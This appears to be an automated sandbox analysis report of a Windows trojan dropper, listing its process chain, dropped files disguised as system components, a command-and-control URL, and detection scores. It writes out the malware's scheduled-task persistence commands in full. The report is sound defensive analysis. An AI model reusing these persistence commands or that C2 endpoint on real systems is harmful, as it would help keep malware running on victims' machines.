Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sat, 31 Aug 2024 07:22:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sat, 31 Aug 2024 07:22:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69

Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.0000000003292000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a1023624.xsph.ru
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.0000000003263000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a1023624.xsph.ru/
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec8
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000014.00000002.1867548337.0000000001110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mic
Source: blockfont.exe, 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cp.sprinthost.ru
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cp.sprinthost.ru/auth/login
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://index.from.sh/pages/game.html

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D6718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00D6718C

Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe			Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Windows\RemotePackages\RemoteApps\8057c8f30c1a8e			Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6857B	0_2_00D6857B
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D770BF	0_2_00D770BF
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6407E	0_2_00D6407E
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D8D00E	0_2_00D8D00E
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D91194	0_2_00D91194
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D802F6	0_2_00D802F6
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D63281	0_2_00D63281
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6E2A0	0_2_00D6E2A0
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D76646	0_2_00D76646
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D737C1	0_2_00D737C1
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D627E8	0_2_00D627E8
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D8070E	0_2_00D8070E
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D8473A	0_2_00D8473A
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6E8A0	0_2_00D6E8A0
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D84969	0_2_00D84969
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6F968	0_2_00D6F968
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D76A7B	0_2_00D76A7B
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D73A3C	0_2_00D73A3C
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D80B43	0_2_00D80B43
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D8CB60	0_2_00D8CB60
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D75C77	0_2_00D75C77
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7FDFA	0_2_00D7FDFA
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D73D6D	0_2_00D73D6D
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6ED14	0_2_00D6ED14
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6DE6C	0_2_00D6DE6C
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6BE13	0_2_00D6BE13
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D80F78	0_2_00D80F78
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D65F3C	0_2_00D65F3C
Source: C:\serversessionmonitor\blockfont.exe	Code function: 4_2_00007FFD9B8E3585	4_2_00007FFD9B8E3585
Source: C:\serversessionmonitor\blockfont.exe	Code function: 4_2_00007FFD9B8EA155	4_2_00007FFD9B8EA155
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 20_2_00007FFD9B8D3585	20_2_00007FFD9B8D3585
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 20_2_00007FFD9B8DA155	20_2_00007FFD9B8DA155
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8F33E0	22_2_00007FFD9B8F33E0
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8FD218	22_2_00007FFD9B8FD218
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8FD158	22_2_00007FFD9B8FD158
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B9028A0	22_2_00007FFD9B9028A0
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B903C6D	22_2_00007FFD9B903C6D
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8FB300	22_2_00007FFD9B8FB300
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8FB1A8	22_2_00007FFD9B8FB1A8
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8FA155	22_2_00007FFD9B8FA155
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 37_2_00007FFD9B8E3585	37_2_00007FFD9B8E3585
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 37_2_00007FFD9B8EA155	37_2_00007FFD9B8EA155

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: String function: 00D7E360 appears 52 times
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: String function: 00D7ED00 appears 31 times
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: String function: 00D7E28C appears 35 times

Source: blockfont.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: qwhJcOiWbbUoQMvwnJNr.exe.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: backgroundTaskHost.exe.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 5P9EdUgv5r.exe, 00000000.00000003.1629891261.0000000006B8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe, 00000000.00000003.1631592664.0000000005624000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe, 00000000.00000003.1631221587.0000000005622000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe

Source: 5P9EdUgv5r.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, pEliLlAg9VImohRyaFR.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, pEliLlAg9VImohRyaFR.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, pEliLlAg9VImohRyaFR.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, pEliLlAg9VImohRyaFR.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RjptLIiSqcughaqdf1L.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RjptLIiSqcughaqdf1L.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@38/21@1/1

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D66EC9 GetLastError,FormatMessageW,

0_2_00D66EC9

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D79E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00D79E1C

Source: C:\serversessionmonitor\blockfont.exe

File created: C:\Program Files (x86)\windows portable devices\winlogon.exe

Jump to behavior

Source: C:\serversessionmonitor\blockfont.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\blockfont.exe.log

Jump to behavior

Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\7cebdd664cb9e6472b16d991171ee8e76033ae4b

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Command line argument: sfxname	0_2_00D7D5D4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Command line argument: sfxstime	0_2_00D7D5D4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Command line argument: STARTDLG	0_2_00D7D5D4

Source: 5P9EdUgv5r.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5P9EdUgv5r.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5P9EdUgv5r.exe	ReversingLabs: Detection: 71%
Source: 5P9EdUgv5r.exe	Virustotal: Detection: 61%

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

File read: C:\Users\user\Desktop\5P9EdUgv5r.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\5P9EdUgv5r.exe "C:\Users\user\Desktop\5P9EdUgv5r.exe"
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\serversessionmonitor\blockfont.exe "C:\serversessionmonitor\blockfont.exe"
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 9 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /f
